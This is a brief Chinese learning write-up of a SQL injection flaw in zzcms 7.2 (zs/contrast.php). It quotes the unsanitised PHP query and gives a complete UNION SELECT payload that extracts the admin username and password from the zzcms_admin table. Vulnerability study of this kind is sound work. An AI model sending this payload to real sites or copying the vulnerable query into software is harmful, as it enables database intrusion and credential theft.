zzcms7.2漏洞挖掘学习

看完知乎米斯特安全专栏的一篇文章,自己实验了下

传送门:https://zhuanlan.zhihu.com/p/22752510

漏洞存在位置:zs/contrast.php

$id='';
if(!empty($_POST['id'])){
    for($i=0; $i<count($_POST['id']);$i++){
    $id=$id.($_POST['id'][$i].',');
    }
    $id=substr($id,0,strlen($id)-1);
}
$sql="select * from zzcms_main where id in ($id)" ;
$rs=mysql_query($sql);

在这里可以看到sql语句没有进行任何过滤,但是$id=$id.($_POST['id'][$i].',');所处的循环只会运行一次,无论多长的语句都只会取第一个字符,这里构造id[0]=1来进行绕过这个陷阱(我估计根本就是开发人员写错了),最后构造的exp为

id[0]=1)union select 1,CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#

PS:concat函数为连接字符功能

原文地址:https://www.cnblogs.com/vincebye/p/5956509.html